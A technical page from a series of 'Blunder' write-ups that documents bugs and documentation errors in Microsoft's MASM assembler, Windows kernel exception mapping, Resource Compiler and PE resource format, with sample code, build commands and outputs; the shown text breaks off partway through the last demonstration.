Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 74

The documentation for the operator HIGH32 of MASM alias ML.EXE states:
HIGH32 expression
Returns the low 32 bits of expression. MASM expressions are 64-bit values.
The documentation for the operator LOW32 of MASM alias ML.EXE states:
LOW32 expression
Returns the low 32 bits of expression. MASM expressions are 64-bit values.

Falsification

Perform the following 2 simple steps to prove the highlighted statements of the documentation cited above wrong.
  1. Create the text file blunder.asm with the following content in an arbitrary, preferable empty directory:

    ; Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    	.model	flat, C
    	.code
    
    	mov	eax, LOW32 0123456789ABCDEFh
    	mov	edx, HIGH32 0123456789ABCDEFh
    
    	.const
    
    	qword	0123456789ABCDEFh
    	oword	0123456789ABCDEF0123456789ABCDEFh
    
    	end
  2. Assemble the source file blunder.asm created in step 1.:

    SET ML=/c /W3 /X
    ML.EXE /FoNUL: blunder.asm
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) Macro Assembler Version 10.00.40219.01
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
     Assembling: blunder.asm
    blunder.asm(4) : error A2084:constant value too large
    blunder.asm(5) : error A2084:constant value too large
    OUCH: contrary to both highlighted statements of the documentation cited above, (constant) expressions are but 32-bit values!

Blunder № 75

Falsification

Perform the following 6 (plus 2 optional) simple steps to show that even Microsoft’s kernel developers can’t distinguish 0 from 231 or 263.
  1. Create the text file blunder.asm with the following content in an arbitrary, preferable empty directory:

    ; Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    	.386
    	.model	flat, C
    	.code
    
    blunder	proc	public
    
    	mov	ecx, 1 shl 31	; ecx = divisor = 0x80000000,
    				; edx:eax = arbitrary dividend
    	div	ecx		; eax = arbitrary quotient,
    				; edx = arbitrary remainder
    				;     < divisor
    	not	edx		; edx:eax = dividend
    				;         = divisor << 32 | arbitrary quotient
    				;         > divisor << 32
    	div	ecx		; raise #DE (divide error exception) via
    				;  quotient overflow
    ;;	ret
    
    blunder	endp
    	end	blunder		; writes "/ENTRY:blunder" to '.drectve' section
  2. Assemble and link the source file blunder.asm created in step 1.:

    SET ML=/W3 /X
    SET LINK=/NODEFAULTLIB /RELEASE /SUBSYSTEM:CONSOLE
    ML.EXE blunder.asm
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) Macro Assembler Version 10.00.40219.01
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
     Assembling: blunder.asm
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /NODEFAULTLIB /RELEASE /SUBSYSTEM:CONSOLE
    /OUT:blunder.exe
    blunder.obj
  3. Execute the console application blunder.exe built in step 2. to show that 231 is equal 0:

    VER
    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Microsoft Windows [Version 6.1.7601]
    
    0xc0000094 (NT: 0xc0000094 STATUS_INTEGER_DIVIDE_BY_ZERO) -- 3221225620 (-1073741676)
    Error message text: {EXCEPTION}
    Integer division by zero
    CertUtil: -error command completed successfully.
    OUCH: (at least) for the divisor 231, which most obviously differs from 0, Windows’ kernel maps the processor’s #DE to the wrong NTSTATUS 0xC0000094 alias STATUS_INTEGER_DIVIDE_BY_ZERO instead to the correct 0xC0000095 alias STATUS_INTEGER_OVERFLOW!
  4. (Optional) If you have the Debugging Tools for Windows installed, execute the console application blunder.exe built in step 2. under the debugger:

    CDB.EXE /C g;q /G /g .\blunder.exe
    Note: if necessary, see the MSDN articles Debugging Using CDB and NTSD and CDB Command-Line Options for an introduction.
    Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
    Copyright (c) Microsoft Corporation. All rights reserved.
    
    CommandLine: .\blunder.exe
    Symbol search path is: srv*
    Executable search path is: 
    ModLoad: 00ee0000 00ee2000   image00ee0000
    ModLoad: 779c0000 77b40000   ntdll.dll
    ModLoad: 774d0000 775e0000   C:\Windows\syswow64\kernel32.dll
    ModLoad: 76080000 760c7000   C:\Windows\syswow64\KERNELBASE.dll
    ModLoad: 75790000 75831000   C:\Windows\syswow64\ADVAPI32.DLL
    ModLoad: 75fd0000 7607c000   C:\Windows\syswow64\msvcrt.dll
    ModLoad: 75e70000 75e89000   C:\Windows\SysWOW64\sechost.dll
    ModLoad: 75ed0000 75fc0000   C:\Windows\syswow64\RPCRT4.dll
    ModLoad: 750e0000 75140000   C:\Windows\syswow64\SspiCli.dll
    ModLoad: 750d0000 750dc000   C:\Windows\syswow64\CRYPTBASE.dll
    (22f0.26a0): Integer divide-by-zero - code c0000094 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=01dc2000 ebx=7efde000 ecx=80000000 edx=88b1cbd4 esi=00000000 edi=00000000
    eip=00ee1009 esp=001bf898 ebp=001bf8a0 iopl=0         nv up ei pl zr na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
    *** ERROR: Module load completed but symbols could not be loaded for image00ee0000
    image00ee0000+0x1009:
    00ee1009 f7f1            div     eax,ecx
    0:000:x86> cdb: Reading initial command 'g;q'
    (22f0.26a0): Integer divide-by-zero - code c0000094 (!!! second chance !!!)
    quit:
    Oops: also notice the bunch of not explicitly referenced DLLs loaded with the debuggee every application!
  5. Overwrite the text file blunder.asm created in step 1. with the following content:

    ; Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    	.code
    
    blunder	proc	public
    
    	mov	rcx, 1 shl 63	; rcx = divisor = 0x8000000000000000,
    				; rdx:rax = arbitrary dividend
    	div	rcx		; rax = arbitrary quotient,
    				; rdx = arbitrary remainder
    				;     < divisor
    	not	rdx		; rdx:rax = dividend
    				;         = divisor << 64 | arbitrary quotient
    				;         > divisor << 64
    	div	rcx		; raise #DE (divide error exception) via
    				;  quotient overflow
    ;;	ret
    
    blunder	endp
    	end
  6. Assemble and link the source file blunder.asm modified in step 5.:

    SET ML=/W3 /X
    SET LINK=/ENTRY:blunder /NODEFAULTLIB /RELEASE /SUBSYSTEM:CONSOLE
    ML64.EXE blunder.asm
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) Macro Assembler (x64) Version 10.00.40219.01
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
     Assembling: blunder.asm
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:blunder /NODEFAULTLIB /RELEASE /SUBSYSTEM:CONSOLE
    /OUT:blunder.exe
    blunder.obj
  7. Execute the console application blunder.exe built in step 6. to show that 263 is equal 0:

    VER
    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Microsoft Windows [Version 6.1.7601]
    
    0xc0000094 (NT: 0xc0000094 STATUS_INTEGER_DIVIDE_BY_ZERO) -- 3221225620 (-1073741676)
    Error message text: {EXCEPTION}
    Integer division by zero
    CertUtil: -error command completed successfully.
    OUCH: (at least) for the divisor 263, which most obviously differs from 0, Windows’ kernel maps the processor’s #DE to the wrong NTSTATUS 0xC0000094 alias STATUS_INTEGER_DIVIDE_BY_ZERO instead to the correct 0xC0000095 alias STATUS_INTEGER_OVERFLOW!
  8. (Optional) If you have the Debugging Tools for Windows installed, execute the console application blunder.exe built in step 6. under the debugger:

    CDB.EXE /C g;q /G /g .\blunder.exe
    Note: if necessary, see the MSDN articles Debugging Using CDB and NTSD and CDB Command-Line Options for an introduction.
    Microsoft (R) Windows Debugger Version 6.1.7601.17514 AMD64
    Copyright (c) Microsoft Corporation. All rights reserved.
    
    CommandLine: .\blunder.exe
    Symbol search path is: srv*
    Executable search path is: 
    ModLoad: 00000001`3ff10000 00000001`3ff12000   image00000001`3ff10000
    ModLoad: 00000000`77800000 00000000`7799f000   ntdll.dll
    ModLoad: 00000000`775e0000 00000000`776ff000   C:\Windows\system32\kernel32.dll
    ModLoad: 000007fe`fd510000 000007fe`fd577000   C:\Windows\system32\KERNELBASE.dll
    ModLoad: 000007fe`fd980000 000007fe`fda5b000   C:\Windows\system32\ADVAPI32.DLL
    ModLoad: 000007fe`fe1c0000 000007fe`fe25f000   C:\Windows\system32\msvcrt.dll
    ModLoad: 000007fe`fe260000 000007fe`fe27f000   C:\Windows\SYSTEM32\sechost.dll
    ModLoad: 000007fe`ff250000 000007fe`ff37c000   C:\Windows\system32\RPCRT4.dll
    (2274.3570): Integer divide-by-zero - code c0000094 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    *** ERROR: Module load completed but symbols could not be loaded for image00000001`3ff10000
    image00000001_3ff10000+0x1010:
    00000001`3ff11010 48f7f1          div     rax,rcx
    0:000> cdb: Reading initial command 'g;q'
    (2274.3570): Integer divide-by-zero - code c0000094 (!!! second chance !!!)
    quit:
    Oops: again notice the slew of not explicitly referenced DLLs loaded with the debuggee every application!

Blunder № 76

Demonstration

Perform the following 7 simple steps to demonstrate the misbehaviour and shortcomings of the Resource Compiler RC.exe:
  1. Start the Command Processor Cmd.exe, then execute the Resource Compiler RC.exe with code page 1200 alias UTF-16LE set on the command line:

    RC.EXE /C 1200 /X NUL:
    Microsoft (R) Windows (R) Resource Compiler Version 6.1.7600.16385
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    fatal error RC1206: code page specified on command line not in registry
    OUCH¹: the Resource Compiler fails to accept or support the native encoding of Windows NT!
  2. Create the text file blunder.rc with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #if 0
    #pragma code_page(1200) // UTF-16LE
    #endif
  3. Compile the source file blunder.rc created in step 2. with code page 20127 alias ASCII set on the command line:

    RC.EXE /C 20127 /X blunder.rc
    TYPE RCa?????
    Microsoft (R) Windows (R) Resource Compiler Version 6.1.7600.16385
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.rc(3) : fatal error RC4213: Codepage 1200 (Unicode) not allowed:  ignored
    
    RCa12345
    
    
      l i n e   1 " b l u n d e r . r c "
     # l i n e   1
     / /   C o p y l e f t   ®   2 0 0 4 - 2 0 2 4 ,   S t e f a n   K a n t h a k   < s t e f a n . k a n t h a k @ n e x g o . d e >
     # l i n e   3
     # i f   0
    OUCH²: contrary to the Visual C preprocessor, the preprocessor of the Resource Compiler evaluates its #pragma code_page() directive even when it is guarded by #if… #endif!

    OOPS¹: although the preprocessor of the Resource Compiler supports UTF-16LE encoded source files, it rejects this encoding!

    OOPS²: when it terminates with the undocumented error code RC4213, the Resource Compiler fails to delete the intermediary UTF-16LE encoded preprocessor output file RCa‹5 decimal digits› – contrary to Microsoft’s own recommendation written without Byte Order Mark!

  4. Overwrite the text file blunder.rc created in step 2. with the following content:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    STRINGTABLE
    BEGIN
        0,   "[\0] NUL"
        1,   "[\a] Audible Alarm"
        2,   "[\b] Backspace"
        3,   "[\f] Form Feed"
        4,   "[\n] Line Feed"
        5,   "[\r] Carriage Return"
        6,   "[\t] Horizontal Tabulator"
        7,   "[\v] Vertical Tabulator"
    #ifndef BLUNDER
        8,   "[\"] Double Quote"
    #else
        8,   "[""] Double Quote"
    #endif
        9,   "[\'] Single Quote"
       10,   "[\?] Question Mark"
       11,   "[\\] Backslash"
       12,   "[\177] DEL"
       13,   "[\u20AC] Euro Sign"
       14,   "[\xFEFF] Byte Order Mark"
       15,   "[\x]"
    
       16,   L"[\0] NUL"
       17,   L"[\a] Audible Alarm"
       18,   L"[\b] Backspace"
       19,   L"[\f] Form Feed"
       20,   L"[\n] Line Feed"
       21,   L"[\r] Carriage Return"
       22,   L"[\t] Horizontal Tabulator"
       23,   L"[\v] Vertical Tabulator"
    #ifndef BLUNDER
       24,   L"[\"] Double Quote"
    #else
       24,   L"[""] Double Quote"
    #endif
       25,   L"[\'] Single Quote"
       26,   L"[\?] Question Mark"
       27,   L"[\\] Backslash"
       28,   L"[\177] DEL"
       29,   L"[\u20AC] Euro Sign"
       30,   L"[\xFEFF] Byte Order Mark"
       31,   L"[\x]"
    END
  5. Compile the source file blunder.rc modified in step 4.:

    RC.EXE /C 20127 /X blunder.rc
    Microsoft (R) Windows (R) Resource Compiler Version 6.1.7600.16385
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.rc.blunder.rc(14) : error RC2104 : undefined keyword or key name: ]
    OUCH³: the Resource Compiler fails to support the standard ANSI C89 escape sequence \" for the Double Quote!
  6. Compile the source file blunder.rc modified in step 4. a second time, now with the preprocessor macro BLUNDER defined:

    RC.EXE /C 20127 /D BLUNDER /X blunder.rc
    Microsoft (R) Windows (R) Resource Compiler Version 6.1.7600.16385
    Copyright (C) Microsoft Corporation.  All rights reserved.
    OOPS³: quotation marks must be doubled in strings!
  7. Dump the raw data of the resource file blunder.res generated in step 6.:

    CERTUTIL.EXE /DUMP blunder.res
      0000  ...
      0454
        0000  00 00 00 00 20 00 00 00  ff ff 00 00 ff ff 00 00   .... ...........
        0010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
        0020  08 02 00 00 20 00 00 00  ff ff 06 00 ff ff 01 00   .... ...........
        0030  00 00 00 00 30 10 09 04  00 00 00 00 00 00 00 00   ....0...........
        0040  07 00 5b 00 00 00 5d 00  20 00 4e 00 55 00 4c 00   ..[...]. .N.U.L.
        0050  11 00 5b 00 08 00 5d 00  20 00 41 00 75 00 64 00   ..[...]. .A.u.d.
        0060  69 00 62 00 6c 00 65 00  20 00 41 00 6c 00 61 00   i.b.l.e. .A.l.a.
        0070  72 00 6d 00 0e 00 5b 00  5c 00 62 00 5d 00 20 00   r.m...[.\.b.]. .
        0080  42 00 61 00 63 00 6b 00  73 00 70 00 61 00 63 00   B.a.c.k.s.p.a.c.
        0090  65 00 0e 00 5b 00 5c 00  66 00 5d 00 20 00 46 00   e...[.\.f.]. .F.
        00a0  6f 00 72 00 6d 00 20 00  46 00 65 00 65 00 64 00   o.r.m. .F.e.e.d.
        00b0  0d 00 5b 00 0a 00 5d 00  20 00 4c 00 69 00 6e 00   ..[...]. .L.i.n.
        00c0  65 00 20 00 46 00 65 00  65 00 64 00 13 00 5b 00   e. .F.e.e.d...[.
        00d0  0d 00 5d 00 20 00 43 00  61 00 72 00 72 00 69 00   ..]. .C.a.r.r.i.
        00e0  61 00 67 00 65 00 20 00  52 00 65 00 74 00 75 00   a.g.e. .R.e.t.u.
        00f0  72 00 6e 00 18 00 5b 00  09 00 5d 00 20 00 48 00   r.n...[...]. .H.
        0100  6f 00 72 00 69 00 7a 00  6f 00 6e 00 74 00 61 00   o.r.i.z.o.n.t.a.
        0110  6c 00 20 00 54 00 61 00  62 00 75 00 6c 00 61 00   l. .T.a.b.u.l.a.
        0120  74 00 6f 00 72 00 17 00  5b 00 5c 00 76 00 5d 00   t.o.r...[.\.v.].
        0130  20 00 56 00 65 00 72 00  74 00 69 00 63 00 61 00    .V.e.r.t.i.c.a.
        0140  6c 00 20 00 54 00 61 00  62 00 75 00 6c 00 61 00   l. .T.a.b.u.l.a.
        0150  74 00 6f 00 72 00 10 00  5b 00 22 00 5d 00 20 00   t.o.r...[.".]. .
        0160  44 00 6f 00 75 00 62 00  6c 00 65 00 20 00 51 00   D.o.u.b.l.e. .Q.
        0170  75 00 6f 00 74 00 65 00  11 00 5b 00 5c 00 27 00   u.o.t.e...[.\.'.
        0180  5d 00 20 00 53 00 69 00  6e 00 67 00 6c 00 65 00   ]. .S.i.n.g.l.e.
        0190  20 00 51 00 75 00 6f 00  74 00 65 00 12 00 5b 00    .Q.u.o.t.e...[.
        01a0  5c 00 3f 00 5d 00 20 00  51 00 75 00 65 00 73 00   \.?.]. .Q.u.e.s.
        01b0  74 00 69 00 6f 00 6e 00  20 00 4d 00 61 00 72 00   t.i.o.n. .M.a.r.
        01c0  6b 00 0d 00 5b 00 5c 00  5d 00 20 00 42 00 61 00   k...[.\.]. .B.a.
        01d0  63 00 6b 00 73 00 6c 00  61 00 73 00 68 00 07 00   c.k.s.l.a.s.h...
        01e0  5b 00 7f 00 5d 00 20 00  44 00 45 00 4c 00 12 00   [...]. .D.E.L...
        01f0  5b 00 5c 00 75 00 32 00  30 00 41 00 43 00 5d 00   [.\.u.2.0.A.C.].
        0200  20 00 45 00 75 00 72 00  6f 00 20 00 53 00 69 00    .E.u.r.o. .S.i.
        0210  67 00 6e 00 15 00 5b 00  fe 00 46 00 46 00 5d 00   g.n...[...F.F.].
        0220  20 00 42 00 79 00 74 00  65 00 20 00 4f 00 72 00    .B.y.t.e. .O.r.
        0230  64 00 65 00 72 00 20 00  4d 00 61 00 72 00 6b 00   d.e.r. .M.a.r.k.
        0240  03 00 5b 00 00 00 5d 00  ec 01 00 00 20 00 00 00   ..[...]..... ...
        0250  ff ff 06 00 ff ff 02 00  00 00 00 00 30 10 00 00   ............0...
        0260  00 00 00 00 00 00 00 00  07 00 5b 00 00 00 5d 00   ..........[...].
        0270  20 00 4e 00 55 00 4c 00  11 00 5b 00 08 00 5d 00    .N.U.L...[...].
        0280  20 00 41 00 75 00 64 00  69 00 62 00 6c 00 65 00    .A.u.d.i.b.l.e.
        0290  20 00 41 00 6c 00 61 00  72 00 6d 00 0c 00 5b 00    .A.l.a.r.m...[.
        02a0  5d 00 20 00 42 00 61 00  63 00 6b 00 73 00 70 00   ]. .B.a.c.k.s.p.
        02b0  61 00 63 00 65 00 0c 00  5b 00 5d 00 20 00 46 00   a.c.e...[.]. .F.
        02c0  6f 00 72 00 6d 00 20 00  46 00 65 00 65 00 64 00   o.r.m. .F.e.e.d.
        02d0  0d 00 5b 00 0a 00 5d 00  20 00 4c 00 69 00 6e 00   ..[...]. .L.i.n.
        02e0  65 00 20 00 46 00 65 00  65 00 64 00 13 00 5b 00   e. .F.e.e.d...[.
        02f0  0d 00 5d 00 20 00 43 00  61 00 72 00 72 00 69 00   ..]. .C.a.r.r.i.
        0300  61 00 67 00 65 00 20 00  52 00 65 00 74 00 75 00   a.g.e. .R.e.t.u.
        0310  72 00 6e 00 18 00 5b 00  09 00 5d 00 20 00 48 00   r.n...[...]. .H.
        0320  6f 00 72 00 69 00 7a 00  6f 00 6e 00 74 00 61 00   o.r.i.z.o.n.t.a.
        0330  6c 00 20 00 54 00 61 00  62 00 75 00 6c 00 61 00   l. .T.a.b.u.l.a.
        0340  74 00 6f 00 72 00 15 00  5b 00 5d 00 20 00 56 00   t.o.r...[.]. .V.
        0350  65 00 72 00 74 00 69 00  63 00 61 00 6c 00 20 00   e.r.t.i.c.a.l. .
        0360  54 00 61 00 62 00 75 00  6c 00 61 00 74 00 6f 00   T.a.b.u.l.a.t.o.
        0370  72 00 10 00 5b 00 22 00  5d 00 20 00 44 00 6f 00   r...[.".]. .D.o.
        0380  75 00 62 00 6c 00 65 00  20 00 51 00 75 00 6f 00   u.b.l.e. .Q.u.o.
        0390  74 00 65 00 0f 00 5b 00  5d 00 20 00 53 00 69 00   t.e...[.]. .S.i.
        03a0  6e 00 67 00 6c 00 65 00  20 00 51 00 75 00 6f 00   n.g.l.e. .Q.u.o.
        03b0  74 00 65 00 10 00 5b 00  5d 00 20 00 51 00 75 00   t.e...[.]. .Q.u.
        03c0  65 00 73 00 74 00 69 00  6f 00 6e 00 20 00 4d 00   e.s.t.i.o.n. .M.
        03d0  61 00 72 00 6b 00 0d 00  5b 00 5c 00 5d 00 20 00   a.r.k...[.\.]. .
        03e0  42 00 61 00 63 00 6b 00  73 00 6c 00 61 00 73 00   B.a.c.k.s.l.a.s.
        03f0  68 00 07 00 5b 00 7f 00  5d 00 20 00 44 00 45 00   h...[...]. .D.E.
        0400  4c 00 10 00 5b 00 32 00  30 00 41 00 43 00 5d 00   L...[.2.0.A.C.].
        0410  20 00 45 00 75 00 72 00  6f 00 20 00 53 00 69 00    .E.u.r.o. .S.i.
        0420  67 00 6e 00 13 00 5b 00  ff fe 5d 00 20 00 42 00   g.n...[...]. .B.
        0430  79 00 74 00 65 00 20 00  4f 00 72 00 64 00 65 00   y.t.e. .O.r.d.e.
        0440  72 00 20 00 4d 00 61 00  72 00 6b 00 03 00 5b 00   r. .M.a.r.k...[.
        0450  00 00 5d 00                                        ..].
    CertUtil: -dump command completed successfully.
    OUCH⁴: the Resource Compiler translates the standard ANSI C89 escape sequence \a for Audible Alarm to the wrong Unicode code point U+0008 instead of its correct code point U+0007!

    OUCH⁵: it fails to support the standard ANSI C89 escape sequences \b for Backspace, \f for Form Feed, \v for Vertical Tabulator, \' for the Single Quote, and \? for the Question Mark!

    OOPS⁴: it also fails to support the standard ANSI C99 escape sequence \u‹1 to 4 hexadecimal digits› for UTF-16 code points U+‹1 to 4 hexadecimal digits›.

    OUCH⁶: it accepts the incomplete and invalid escape sequence \x without any following hexadecimal digit(s) and treats it as \0!

    OOPS⁵: its (mis)behaviour for escape sequences in ANSI strings differs from the (mis)behaviour for escape sequences in Unicode strings!

Ryan Liptak’s extensive blog post Every bug/quirk of the Windows resource compiler (rc.exe), probably documents quite some more surprises lurking in the Resource Compiler RC.exe.

Blunder № 77

The specification of the PE Format states under the heading The .rsrc section:
Resources are indexed by a multiple-level binary-sorted tree structure. The general design can incorporate 2**31 levels. By convention, however, Windows uses three levels:
Type Name Language

[…]

Each Resource Data entry describes an actual unit of raw data in the Resource Data area. A Resource Data entry has the following format:

Offset Size Field Description
0 4 Data RVA The address of a unit of resource data in the Resource Data area.
4 4 Size The size, in bytes, of the resource data that is pointed to by the Data RVA field.
8 4 Codepage The code page that is used to decode code point values within the resource data. Typically, the code page would be the Unicode code page.
12 4 Reserved, must be 0.

Demonstration

Perform the following 7 simple steps to show the misbehaviour.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0UL)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    const	LPCWSTR	szType[] = {NULL,
    		            L"CURSOR", L"BITMAP", L"ICON", L"MENU", L"DIALOG", L"STRINGTABLE",
    		            L"FONTDIR", L"FONT", L"ACCELERATOR", L"RCDATA", L"MESSAGETABLE", L"GROUP_CURSOR",
    		            L"MENUEX", L"GROUP_ICON", L"NAMETABLE", L"VERSION", L"DLGINCLUDE", L"DIALOGEX",
    		            L"PLUGPLAY", L"VXD", L"ANICURSOR", L"ANIICON", L"HTML", L"MANIFEST"};
    
    VOID	WINAPI	Resource(HANDLE                   hConsole,
    		         IMAGE_RESOURCE_DIRECTORY *lpRoot,
    		         IMAGE_RESOURCE_DIRECTORY *lpLevel,
    		         DWORD                    dwLevel)	// 0 = Type, 1 = Id, 2 = Language
    {
    	DWORD	dwEntry;
    
    	IMAGE_RESOURCE_DIRECTORY_ENTRY	*lpEntry;
    	IMAGE_RESOURCE_DIR_STRING_U	*lpUnicode;
    	IMAGE_RESOURCE_DATA_ENTRY	*lpData;
    
    	for (lpEntry = (IMAGE_RESOURCE_DIRECTORY_ENTRY *) (lpLevel + 1),
    	     dwEntry = 0UL;
    	     dwEntry < lpLevel->NumberOfNamedEntries + lpLevel->NumberOfIdEntries;
    	     dwEntry++)
    	{
    		if ((lpEntry[dwEntry].Name & IMAGE_RESOURCE_NAME_IS_STRING) == IMAGE_RESOURCE_NAME_IS_STRING)
    		{
    			lpUnicode = (IMAGE_RESOURCE_DIR_STRING_U *) ((BYTE *) lpRoot + (lpEntry[dwEntry].Name ^ IMAGE_RESOURCE_NAME_IS_STRING));
    
    			PrintConsole(hConsole,
    			             L"\t\t\t\tName   = %ls\n" + 2 - dwLevel,
    			             lpUnicode->NameString, lpUnicode->Length);
    		}
    		else if (dwLevel > 1UL)
    			PrintConsole(hConsole,
    			             L"\t\t\t\tLanguage = %hu\n",
    			             lpEntry[dwEntry].Id);
    		else if (dwLevel > 0UL)
    			PrintConsole(hConsole,
    			             L"\t\t\tId     = %hu\n",
    			             lpEntry[dwEntry].Id);
    		else
    			PrintConsole(hConsole,
    			             L"\t\tType   = %hu (%ls)\n",
    			             lpEntry[dwEntry].Id, szType[lpEntry[dwEntry].Id]);
    
    		PrintConsole(hConsole,
    		             L"\t\t\t\tOffset = 0x%08lX\n" + 2 - dwLevel,
    		             lpEntry[dwEntry].OffsetToData);
    
    		if ((lpEntry[dwEntry].OffsetToData & IMAGE_RESOURCE_DATA_IS_DIRECTORY) != IMAGE_RESOURCE_DATA_IS_DIRECTORY)
    		{
    			lpData = (IMAGE_RESOURCE_DATA_ENTRY *) ((BYTE *) lpRoot + lpEntry[dwEntry].OffsetToData);
    
    			PrintConsole(hConsole,
    			             L"\t\t\t\t\tAddress   = 0x%08lX\n"
    			             L"\t\t\t\t\tSize      = %lu\n"
    			             L"\t\t\t\t\tCode Page = %lu\n"
    			             L"\t\t\t\t\tReserved  = 0x%08lX\n",
    			             lpData->OffsetToData, lpData->Size, lpData->CodePage, lpData->Reserved);
    		}
    		else
    			Resource(hConsole,
    			         lpRoot,
    			         (IMAGE_RESOURCE_DIRECTORY *) ((BYTE *) lpRoot + (lpEntry[dwEntry].OffsetToData ^ IMAGE_RESOURCE_DATA_IS_DIRECTORY)),
    			         dwLevel + 1UL);
    	}
    }
    
    extern	const	IMAGE_DOS_HEADER	__ImageBase;
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	IMAGE_RESOURCE_DIRECTORY	*lpResource;
    
    	IMAGE_NT_HEADERS	*lpPE = (IMAGE_NT_HEADERS *) ((BYTE *) &__ImageBase + __ImageBase.e_lfanew);
    
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hError == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    		if ((lpPE->Signature != IMAGE_NT_SIGNATURE)
    		 || (lpPE->OptionalHeader.NumberOfRvaAndSizes < IMAGE_DIRECTORY_ENTRY_RESOURCE)
    		 || (lpPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress == 0UL)
    		 || (lpPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].Size == 0UL))
    			dwError = ERROR_BAD_EXE_FORMAT;
    		else
    		{
    			lpResource = (IMAGE_RESOURCE_DIRECTORY *) ((BYTE *) &__ImageBase + lpPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress);
    
    			PrintConsole(hError,
    			             L"Resource Directory:\n"
    			             L"\tCharacteristics = 0x%08lX\n"
    			             L"\tTime/Date Stamp = 0x%08lX\n"
    			             L"\tVersion         = %hu.%hu\n"
    			             L"\tNamed Entries   = %hu\n"
    			             L"\tUnnamed Entries = %hu\n"
    			             L"\tEntries:\n",
    			             lpResource->Characteristics,
    			             lpResource->TimeDateStamp,
    			             lpResource->MajorVersion,
    			             lpResource->MinorVersion,
    			             lpResource->NumberOfNamedEntries,
    			             lpResource->NumberOfIdEntries);
    
    			Resource(hError, lpResource, lpResource, 0UL);
    		}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib user32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(51) : warning C4018: '<' : signed/unsigned mismatch
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  3. Create the text file blunder.xml with the following content in the current directory:

    <?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
    <assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1' />
  4. Embed the application manifest blunder.xml created in step 3. in the console application blunder.exe built in step 2.:

    MT.EXE /Manifest blunder.xml /OutputResource:blunder.exe
    Microsoft (R) Manifest Tool version 6.1.7716.0
    Copyright (c) Microsoft Corporation 2009.
    All rights reserved.
  5. Execute the console application blunder.exe modified in step 4. and evaluate its exit code:

    .\blunder.exe
    ECHO %ERRORLEVEL%
    Resource Directory:
    	Characteristics = 0x00000000
    	Time/Date Stamp = 0x00000000
    	Version         = 4.0
    	Named Entries   = 0
    	Unnamed Entries = 1
    	Entries:
    		Type   = 24 (MANIFEST)
    		Offset = 0x80000018
    			Id     = 1
    			Offset = 0x80000030
    				Language = 1033
    				Offset = 0x00000048
    					Address   = 0x00003058
    					Size      = 84
    					Code Page = 1252
